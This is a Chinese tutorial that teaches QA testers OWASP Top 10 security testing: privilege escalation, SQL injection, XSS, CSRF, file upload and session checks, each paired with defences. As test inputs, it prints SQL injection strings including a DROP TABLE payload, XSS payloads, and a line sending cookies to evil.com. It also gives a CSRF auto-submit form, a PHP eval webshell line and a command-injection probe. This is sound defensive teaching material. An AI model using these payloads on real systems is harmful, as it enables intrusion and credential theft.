安全测试实战：OWASP Top 10漏洞检测与防御全覆盖
前言
"安全测试是安全工程师的事，测试不用管"——这是很多测试新人的误区。但实际上，安全测试的第一道防线就是功能测试人员。SQL注入、XSS、越权这些漏洞，90%都可以通过手工测试发现，不需要什么黑客技术。
本文从OWASP Top 10讲起，覆盖认证鉴权、越权、SQL注入、XSS、CSRF、文件上传、敏感信息泄露、会话管理、CSP/HTTPS等安全测试维度，每种漏洞都配有原理 → 手工检测方法 → 防御方案的完整闭环，附可直接套用的50+项安全测试Checklist。
系列文章导航
- [测试用例设计方法论：从等价类到因果图的实战指南]
- [测试策略与测试计划制定：新项目如何规划测试]
- [从需求到高质量用例：手把手教你拆解需求]
- [Bug报告与缺陷管理规范：如何写出让开发无法拒绝的Bug单]
- [APP专项测试实战：安装/卸载/弱网/兼容/中断/埋点全覆盖]
- [Web端测试实战（含接口测试核心章节）]
- [接口自动化测试实战：Postman+Newman+Jenkins从入门到落地]
- [性能测试入门实战：JMeter从零到压测报告全覆盖]
- ← 本文：安全测试实战
- 持续更新中……
🔐 一、为什么测试必须懂安全？
1.1 安全漏洞的代价
| 真实案例 | 漏洞类型 | 损失 |
|---|---|---|
| 某电商用户数据泄露 | SQL注入 | 数百万用户数据被拖库 |
| 某社交平台蠕虫传播 | XSS | 半天内感染百万用户 |
| 某支付平台资金被盗 | CSRF | 用户账户资金被转走 |
| 某企业后台被控制 | 文件上传 | 服务器被植入木马 |
| 某SaaS平台数据越权 | 水平越权 | A公司能看到B公司的数据 |
一句话：一个安全漏洞，可能让整个团队的努力归零。
1.2 测试 vs 安全的边界
| 维度 | 功能测试 | 安全测试 |
|---|---|---|
| 正常输入 | ✅ 主要测试 | ✅ 也测 |
| 异常输入 | ✅ 测一部分 | ✅ 重点测试 |
| 恶意输入 | ❌ 通常不测 | ✅ 核心内容 |
| 权限校验 | ✅ 基本流程 | ✅ 深入测试 |
| 数据保护 | ❌ 通常不关注 | ✅ 核心关注 |
安全测试不是要你成为黑客，而是要学会「换个角度用系统」。
📊 二、OWASP Top 10（2021版）速览
OWASP（Open Web Application Security Project）每3-4年发布一次十大Web安全风险，是全球安全测试的「圣经」。
| 排名 | 风险 | 一句话解释 | 测试能发现吗 |
|---|---|---|---|
| A01 | 访问控制失效 | 普通用户能干管理员的事 | ✅ 手工可测 |
| A02 | 加密机制失效 | 密码明文传、明文存 | ✅ 抓包可测 |
| A03 | 注入攻击 | SQL注入、命令注入 | ✅ 手工可测 |
| A04 | 不安全设计 | 架构设计就有安全缺陷 | ⚠️ 需评审 |
| A05 | 安全配置错误 | 开了不该开的功能/端口 | ⚠️ 需运维配合 |
| A06 | 脆弱和过时的组件 | 用了有漏洞的旧版本 | ⚠️ 需依赖扫描 |
| A07 | 认证和鉴权失效 | 登录能绕过、token可伪造 | ✅ 手工可测 |
| A08 | 软件和数据完整性失效 | 未校验的更新包/反序列化 | ⚠️ 需工具 |
| A09 | 安全日志和监控失效 | 被攻击了都不知道 | ⚠️ 需运维配合 |
| A10 | SSRF（服务端请求伪造） | 服务端被当跳板攻击内网 | ✅ 部分可测 |
📝测试能独立发现的6项：A01、A02、A03、A07 占了大头，加上 XSS（归在A03）、CSRF（归在A01）、文件上传（归在A05），测试人员能覆盖80%以上的常见漏洞。
🔑 三、认证与鉴权测试（A01 + A07）
3.1 认证测试（你是谁）
认证就是验证「你是不是你声称的那个人」。
| 测试点 | 测试方法 | 预期结果 |
|---|---|---|
| 弱密码 | 注册/修改密码时输入123456、password | 应提示密码强度不够 |
| 暴力破解 | 同一账号连续输入错误密码20次 | 应触发锁定或验证码 |
| 空密码 | 登录时不输入密码 | 应拦截 |
| 密码明文传输 | F12抓包看登录请求 | 密码不应明文出现在请求中 |
| 记住我功能 | 勾选记住我，退出后重开浏览器 | token应有过期时间，不应永久有效 |
| 多设备登录 | 同一账号在Chrome和Firefox同时登录 | 应有互踢或提示逻辑 |
| 验证码绕过 | 不传验证码参数或传空值 | 应校验失败 |
📝暴力破解测试脚本示例（Postman Runner）：
准备20组错误密码 → Postman Collection Runner → 迭代20次 预期：第5次开始出现验证码，第10次账号被锁定3.2 鉴权/越权测试（你能干什么）
越权是测试人员最容易发现的高危漏洞，也是面试最爱问的。
3.2.1 垂直越权（低权限做高权限的事）
| 测试方法 | 步骤 |
|---|---|
| URL越权 | 普通用户登录→浏览器地址栏直接输入管理页面URL（如/admin/userList） |
| 接口越权 | 普通用户登录→Postman直接调管理员接口（如DELETE /api/user/123） |
| 参数越权 | 普通用户登录→请求中将role参数改为admin |
bash
# 垂直越权测试示例 # 用普通用户token调管理员接口 # 1. 普通用户登录，获取token POST /api/user/login {"username":"normal_user","password":"123456"} # 返回 token = "eyJ..." # 2. 用普通用户token尝试删除用户（管理员才能操作） DELETE /api/user/delete/456 Authorization: Bearer eyJ... # 预期：返回403 Forbidden，而不是2003.2.2 水平越权（A用户访问B用户的数据）
| 测试方法 | 步骤 |
|---|---|
| ID遍历 | 用户A登录→查看自己的订单详情/order/100→修改URL为/order/101 |
| 参数篡改 | 请求中将userId改为其他用户的ID |
| 批量越权 | 用脚本遍历ID=1到100，看能否获取到所有用户数据 |
bash
# 水平越权测试示例 # 用户A(token_A)查看用户B的订单 GET /api/order/detail?orderId=1001 Authorization: Bearer token_A # token_A属于用户A，orderId=1001属于用户B # 预期：返回403或提示无权访问，而不是返回订单详情3.2.3 越权测试Checklist
| 角色 | 越权方向 | 测试操作 |
|---|---|---|
| 未登录用户 | → 需登录页面 | 直接访问需登录的URL |
| 普通用户 | → 管理员功能 | 访问管理页面/调用管理接口 |
| 普通用户A | → 普通用户B数据 | 修改请求中的用户ID/订单ID |
| 部门A用户 | → 部门B数据 | 修改请求中的部门ID |
| 租户A用户 | → 租户B数据 | 修改请求中的租户ID |
💉 四、SQL注入测试（A03）
4.1 什么是SQL注入
用户输入被拼接到SQL语句中执行，导致恶意SQL被数据库执行。
正常查询：SELECT * FROM users WHERE name = '张三' 恶意输入：' OR '1'='1' -- 拼接后：SELECT * FROM users WHERE name = '' OR '1'='1' --' 结果：返回所有用户数据4.2 手工检测方法
| 测试输入 | 预期行为（有漏洞） | 预期行为（安全） |
|---|---|---|
' OR '1'='1 | 返回全部数据 | 正常查询或报参数错误 |
' OR '1'='1' -- | 返回全部数据 | 正常查询或报参数错误 |
' UNION SELECT 1,2,3 -- | 返回额外的1,2,3数据 | 正常查询或报参数错误 |
admin' -- | 不需要密码就登录 | 提示密码错误 |
1; DROP TABLE users; -- | 表被删除 | 正常查询或报参数错误 |
' AND 1=1 -- | 正常返回（恒真条件） | 正常查询 |
' AND 1=2 -- | 返回空（恒假条件） | 正常查询 |
' OR SLEEP(5) -- | 响应延迟5秒（盲注） | 正常响应时间 |
📝数字型注入测试（URL参数是数字时）：
原URL：/api/product?id=1 测试：/api/product?id=1 AND 1=1 → 正常 测试：/api/product?id=1 AND 1=2 → 无结果（说明存在注入） 测试：/api/product?id=1 OR 1=1 → 返回全部4.3 防御方案
| 方案 | 说明 |
|---|---|
| 参数化查询 | 使用 PreparedStatement，不拼接SQL |
| ORM框架 | MyBatis用#{}而非${} |
| 输入校验 | 白名单校验，过滤特殊字符 |
| 最小权限 | 数据库账号只给必要权限，禁用DROP/TRUNCATE |
| WAF | Web应用防火墙拦截SQL注入特征 |
🧬 五、XSS跨站脚本测试
5.1 三种XSS类型
| 类型 | 存储位置 | 攻击方式 | 危害 |
|---|---|---|---|
| 反射型XSS | 不存储 | 构造恶意URL，诱导点击 | 中 |
| 存储型XSS | 存到数据库 | 提交恶意脚本，所有访问者中招 | 高 |
| DOM型XSS | 前端JS | 通过URL参数操作DOM | 中 |
5.2 手工检测方法
| 测试输入 | 在哪里测试 | 预期行为（有漏洞） | 预期行为（安全） |
|---|---|---|---|
<script>alert(1)</script> | 搜索框/评论/留言/用户名 | 弹窗 | 被转义或过滤 |
<img src=x onerror=alert(1)> | 所有输入框 | 弹窗 | 被转义或过滤 |
<svg onload=alert(1)> | 所有输入框 | 弹窗 | 被转义或过滤 |
<a href="javascript:alert(1)">click</a> | 富文本编辑器 | 点击弹窗 | 过滤javascript协议 |
"><script>alert(1)</script> | URL参数 | 弹窗 | 被转义 |
';alert(1);// | URL参数 | 弹窗 | 被转义 |
<img src=x onerror="fetch('http://evil.com?cookie='+document.cookie)"> | 留言区 | Cookie被发送到外部 | 被过滤 |
📝存储型XSS完整测试流程：
1. 在留言板提交：<script>alert(document.cookie)</script> 2. 刷新页面，看是否弹窗并显示Cookie 3. 换个浏览器（模拟其他用户），访问同一页面 4. 如果弹窗 → 存储型XSS，高危漏洞！📝反射型XSS测试：
原URL：/search?keyword=手机 测试：/search?keyword=<script>alert(1)</script> 如果页面直接输出<script>alert(1)</script>并弹窗 → 反射型XSS5.3 防御方案
| 方案 | 说明 |
|---|---|
| 输出编码 | HTML实体编码<script> |
| 输入过滤 | 过滤<script>、onerror、javascript:等 |
| CSP策略 | Content-Security-Policy 头，禁止内联脚本 |
| HttpOnly Cookie | Cookie设置HttpOnly，JS读不到 |
| X-XSS-Protection | 浏览器XSS过滤器（旧方案） |
🎭 六、CSRF跨站请求伪造测试
6.1 什么是CSRF
攻击者诱导用户点击链接，利用用户已登录的状态，以用户身份发送恶意请求。
场景： 1. 用户登录了 bank.com（Cookie有效） 2. 用户又打开了一个恶意网站 evil.com 3. evil.com 页面中有一个隐藏表单，自动提交到 bank.com/transfer?to=attacker&amount=10000 4. 因为浏览器会自动带 Cookie，bank.com 以为这是用户的操作，执行了转账6.2 手工检测方法
| 测试步骤 | 说明 |
|---|---|
| 1. 抓取核心请求 | F12→Network，找到修改密码/转账/下单等敏感操作的请求 |
| 2. Copy as cURL | 右键请求→Copy→Copy as cURL |
| 3. 构造攻击页面 | 创建一个HTML页面，包含自动提交的表单 |
| 4. 模拟攻击 | 保持登录状态，打开攻击页面 |
| 5. 看结果 | 如果操作被执行 → CSRF漏洞 |
📝CSRF测试HTML模板：
html
<html> <body> <h1>恭喜中奖！点击领取</h1> <!-- 隐藏表单，自动提交 --> <form id="csrf" action="https://target.com/api/user/changePassword" method="POST"> <input type="hidden" name="newPassword" value="hacked123"> <input type="hidden" name="confirmPassword" value="hacked123"> </form> <script>document.getElementById('csrf').submit();</script> </body> </html>📝接口层面检测：
1. 用Postman调修改密码接口，不传Referer头 2. 用Postman调修改密码接口，伪造Referer为其他域名 3. 如果都能成功 → 没有CSRF防护6.3 防御方案
| 方案 | 说明 |
|---|---|
| CSRF Token | 服务端生成随机token，每次请求校验 |
| Referer校验 | 校验请求来源域名 |
| SameSite Cookie | Cookie设置SameSite=Strict/Lax |
| 验证码/二次确认 | 敏感操作加验证码或二次密码 |
| 自定义请求头 | 前端自定义Header，后端校验 |
📁 七、文件上传测试
7.1 文件上传漏洞危害
- 上传WebShell（一句话木马）控制服务器
- 上传病毒文件感染其他用户
- 上传超大文件导致磁盘耗尽
- 上传覆盖已存在的关键文件
7.2 手工检测方法
| 测试点 | 测试方法 | 预期结果 |
|---|---|---|
| 文件类型-前端绕过 | 上传.php文件，用BurpSuite拦截改后缀为.jpg，放行后再改回.php | 应拦截 |
| 文件类型-服务端 | 上传.php、.jsp、.asp、.exe、.sh | 应全部拦截 |
| MIME类型伪造 | 上传PHP文件，BurpSuite改Content-Type为image/jpeg | 服务端不应只依赖MIME校验 |
| 双扩展名 | 上传shell.php.jpg、shell.jpg.php | 应正确识别并拦截 |
| 文件大小 | 上传1KB/10MB/100MB/1GB文件 | 应在限制内 |
| 文件名 | 上传文件名含../、..\、空字节%00 | 应过滤路径穿越 |
| 文件内容 | 上传图片，但图片内容嵌入了<?php eval($_POST['cmd']);?> | 应有内容检测 |
| 并发上传 | 同时上传100个文件 | 不应崩溃 |
| 覆盖上传 | 上传与已有文件同名的文件 | 应有重命名策略 |
| 0字节文件 | 上传空文件 | 应拦截或正常处理 |
📝WebShell检测测试：
php
// 创建 test.php，内容如下 <?php echo "shell_test_12345"; ?> // 如果上传后能通过浏览器访问到这个文件并输出 shell_test_12345 // → 严重安全漏洞！服务器可能被完全控制7.3 防御方案
| 方案 | 说明 |
|---|---|
| 白名单校验 | 只允许特定后缀（jpg/png/pdf/docx等） |
| 文件头校验 | 读取文件魔数，不信任MIME和扩展名 |
| 重命名存储 | 用UUID重命名，不保留原始文件名 |
| 隔离存储 | 文件存在专门的文件服务器或OSS，不在应用服务器 |
| 权限控制 | 上传目录禁止脚本执行权限 |
| 病毒扫描 | 接入ClamAV等杀毒引擎 |
🔍 八、敏感信息泄露测试（A02 + A04）
8.1 常见敏感信息泄露场景
| 泄露场景 | 测试方法 | 风险 |
|---|---|---|
| 响应中返回密码 | 登录/注册接口的响应 | 高 |
| 响应中返回手机号/身份证 | 用户信息接口 | 高 |
| 错误页面暴露堆栈 | 故意触发500错误 | 中 |
| HTML注释中的信息 | 查看页面源码 | 中 |
| JS文件中的密钥 | 查看前端JS源码 | 高 |
| 接口返回多余字段 | 查看列表接口是否返回了不该返回的字段 | 中 |
| Github泄露 | 搜索公司名+password/key/secret | 高 |
| robots.txt暴露路径 | 访问/robots.txt | 低 |
| 目录浏览 | 访问/uploads/、/backup/等 | 中 |
| API文档暴露 | 访问/swagger-ui.html、/doc.html | 中 |
📝测试实战：
bash
# 测试1：看响应是否包含敏感信息 POST /api/user/login {"username":"admin","password":"123456"} # 响应中不应返回password字段 # 测试2：看错误页面是否暴露信息 GET /api/user?id=9999999 # 不存在的ID # 不应返回：java.sql.SQLException at com.example.UserController... # 应返回：{"code":404,"message":"用户不存在"} # 测试3：检查常见敏感路径 访问：/swagger-ui.html、/actuator、/.env、/config.json、/backup.zip8.2 防御方案
| 方案 | 说明 |
|---|---|
| 最小返回原则 | 接口只返回必要字段 |
| 统一错误页面 | 生产环境不暴露异常堆栈 |
| 敏感信息加密存储 | 密码加盐哈希、手机号脱敏 |
| 前端代码审查 | 不在前端JS中硬编码密钥 |
| 敏感路径加权限 | Swagger/Actuator等限制访问 |
🍪 九、会话管理测试
9.1 测试点
| 测试点 | 测试方法 | 预期 |
|---|---|---|
| Session ID复杂度 | 多次登录，对比Session ID | 应有足够随机性，不可预测 |
| Session固定 | 登录前获取Session ID，登录后不变 | 登录后Session ID应更新 |
| Session超时 | 登录后闲置30分钟，再操作 | 应提示重新登录 |
| 退出销毁Session | 退出登录后，用旧Session ID访问 | 应返回401 |
| Cookie安全属性 | 查看Set-Cookie头 | 应有HttpOnly+Secure+SameSite |
| 并发Session | 同一账号在两台设备登录 | 应有互踢或限制策略 |
| Session传输安全 | 抓包看Session ID | 不应出现在URL参数中 |
📝Cookie安全属性检查：
Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict; Max-Age=3600 ✅ HttpOnly：JS无法读取，防XSS窃取 ✅ Secure：仅HTTPS传输 ✅ SameSite=Strict：防CSRF ✅ Max-Age：有过期时间🛡 十、安全响应头测试
10.1 必备安全响应头
| 响应头 | 作用 | 推荐值 |
|---|---|---|
| Content-Security-Policy | 防XSS | default-src 'self' |
| X-Frame-Options | 防点击劫持 | DENY或SAMEORIGIN |
| X-Content-Type-Options | 防MIME嗅探 | nosniff |
| Strict-Transport-Security | 强制HTTPS | max-age=31536000; includeSubDomains |
| Referrer-Policy | 控制Referer信息 | strict-origin-when-cross-origin |
| Permissions-Policy | 控制浏览器特性 | camera=(), microphone=() |
📝检测方法：
bash
# 用curl查看响应头 curl -I https://target.com # 或 F12 → Network → 点击请求 → Headers → Response Headers # 逐个核对以上安全头是否存在📋 十一、安全测试Checklist（50+项）
认证与鉴权 ✅
- 弱密码注册被拦截
- 暴力破解有锁定/验证码机制
- 密码不明文传输（HTTPS + 加密）
- 密码不明文存储（数据库看密码字段）
- 验证码不可绕过
- 记住我Token有过期时间
- 退出登录后Token/Session失效
- 普通用户无法访问管理页面（URL越权）
- 普通用户无法调用管理接口（接口越权）
- A用户无法访问B用户的数据（水平越权）
- A用户无法修改B用户的数据（水平越权）
注入攻击 ✅
- 搜索框SQL注入防护（
' OR '1'='1） - 登录框SQL注入防护（
admin' --） - URL参数SQL注入防护（数字型）
- 搜索框XSS防护（
<script>alert(1)</script>） - 留言/评论XSS防护（存储型）
- URL参数XSS防护（反射型）
- 富文本XSS过滤（
javascript:、onerror） - 命令注入防护（输入框输入
; ls -la）
CSRF与请求伪造 ✅
- 敏感操作有CSRF Token或Referer校验
- 敏感操作需要二次确认/验证码
- Cookie设置了SameSite属性
- 接口校验了请求来源
文件上传 ✅
- 脚本文件（.php/.jsp/.asp）被拦截
- 可执行文件（.exe/.sh）被拦截
- 前端绕过（BurpSuite改后缀）被服务端拦截
- MIME类型伪造被拦截
- 超大文件被拦截
- 文件名路径穿越（
../）被过滤 - 文件上传目录无脚本执行权限
敏感信息 ✅
- 接口响应不返回密码
- 接口响应不返回完整手机号/身份证（或脱敏）
- 错误页面不暴露代码堆栈
- 前端JS无硬编码的密钥/Token
- Swagger/Actuator等调试页面不对公网开放
- 目录浏览功能已关闭
- robots.txt不暴露敏感路径
会话管理 ✅
- Session ID足够随机，不可预测
- 登录后Session ID更新
- Session超时后需重新登录
- 退出后Session被销毁
- Cookie设置了HttpOnly + Secure + SameSite
- Session ID不在URL中传输
安全响应头 ✅
- Content-Security-Policy 已配置
- X-Frame-Options 已配置
- X-Content-Type-Options 已配置
- Strict-Transport-Security 已配置
- 全站HTTPS，HTTP自动跳转HTTPS
⚠ 十二、新手常见踩坑与避坑指南
| 坑 | 后果 | 正确做法 |
|---|---|---|
| 安全测试留到最后 | 没时间测，带漏洞上线 | 每个迭代都分配安全测试时间 |
| 只在输入框测XSS | 遗漏URL参数/请求头等注入点 | 所有用户可控的输入都要测 |
| 用真实生产数据测试 | 可能污染真实数据 | 测试环境用测试数据 |
| 对生产系统做注入测试 | 可能真的删库 | 只在测试环境做破坏性测试 |
| 只测前端校验 | 绕过前端直接调接口 | 接口层必须独立校验 |
| 忽略HTTPS强制 | 中间人攻击窃取数据 | 确认HTTP自动跳转HTTPS |
| 以为加个WAF就安全了 | 绕过WAF的技术很多 | 应用层+网络层多层防御 |
| 测完不跟开发沟通 | 漏洞修了一半留后门 | 每个漏洞讲清原理+给出修复建议 |
| 不关注第三方组件 | 用了有漏洞的旧版本 | 定期依赖扫描 |
🧠 十三、安全测试面试高频考点
| 问题 | 参考回答要点 |
|---|---|
| XSS和CSRF的区别？ | XSS利用用户对网站的信任，在页面注入脚本；CSRF利用网站对用户的信任，伪造用户请求。XSS是输出问题，CSRF是请求校验问题 |
| 水平越权和垂直越权的区别？ | 水平越权是同级用户之间越权（A看B的数据）；垂直越权是不同级别越权（普通用户做管理员的事） |
| SQL注入怎么测？ | 在输入框输入' OR '1'='1等测试Payload，看是否返回异常数据；关注报错信息是否暴露数据库信息；用时间盲注（SLEEP）测试无回显场景 |
| 文件上传怎么测？ | 类型（脚本/可执行文件）、大小、MIME伪造、双扩展名、路径穿越、文件内容检测、并发上传 |
| 怎么防CSRF？ | CSRF Token + Referer校验 + SameSite Cookie + 二次确认。面试建议展开讲CSRF Token的工作原理 |
| 安全测试在什么阶段介入？ | 需求阶段做安全需求分析，开发阶段做代码审计，测试阶段做安全测试，上线前做渗透测试，上线后做安全巡检 |
💡 十四、安全测试学习路径
| 阶段 | 时间 | 学习内容 |
|---|---|---|
| 入门 | 第1周 | 理解OWASP Top 10 + 手工测试XSS/SQL注入/CSRF |
| 上手 | 第2周 | 越权测试 + 文件上传测试 + 敏感信息泄露检测 |
| 进阶 | 第3-4周 | BurpSuite入门 + 抓包改包 + 会话管理测试 |
| 熟练 | 第5-6周 | 安全响应头 + CSP策略 + HTTPS配置 + 渗透测试方法论 |
| 深入 | 第7-8周 | OWASP ZAP自动化扫描 + SQLMap自动化注入 |
| 专家 | 后续 | 代码审计 + 漏洞挖掘 + CVE研究 + 安全架构设计 |
🧠 十五、记忆口诀
安全测试六句诀
认证鉴权第一步，越权横向纵向查 注入XSS和CSRF，输入输出都要抓 文件上传莫轻视，脚本木马藏里面 敏感信息别泄露，密码密钥不乱挂 会话管理要谨慎，超时销毁加属性 安全响应头配齐，层层防御护系统
写在最后
安全测试不是玄学，也不是黑客专属技能。本文从测试人员的视角，覆盖了：
- OWASP Top 10：知道要测什么
- 认证鉴权测试：弱密码/暴力破解/水平越权/垂直越权
- 注入攻击测试：SQL注入/XSS/CSRF的原理+检测+防御
- 文件上传测试：10个测试维度全覆盖
- 敏感信息泄露：响应/错误页/前端代码/调试页面
- 会话管理测试：Session/Cookie安全属性
- 安全响应头：6个必备响应头配置
- 50+项Checklist：可直接用于测试执行
安全测试的核心思维就是：永远不信任用户的输入，永远不假设请求是合法的。
📌 如果觉得有帮助，欢迎点赞、收藏、关注，你的支持是我持续输出的动力！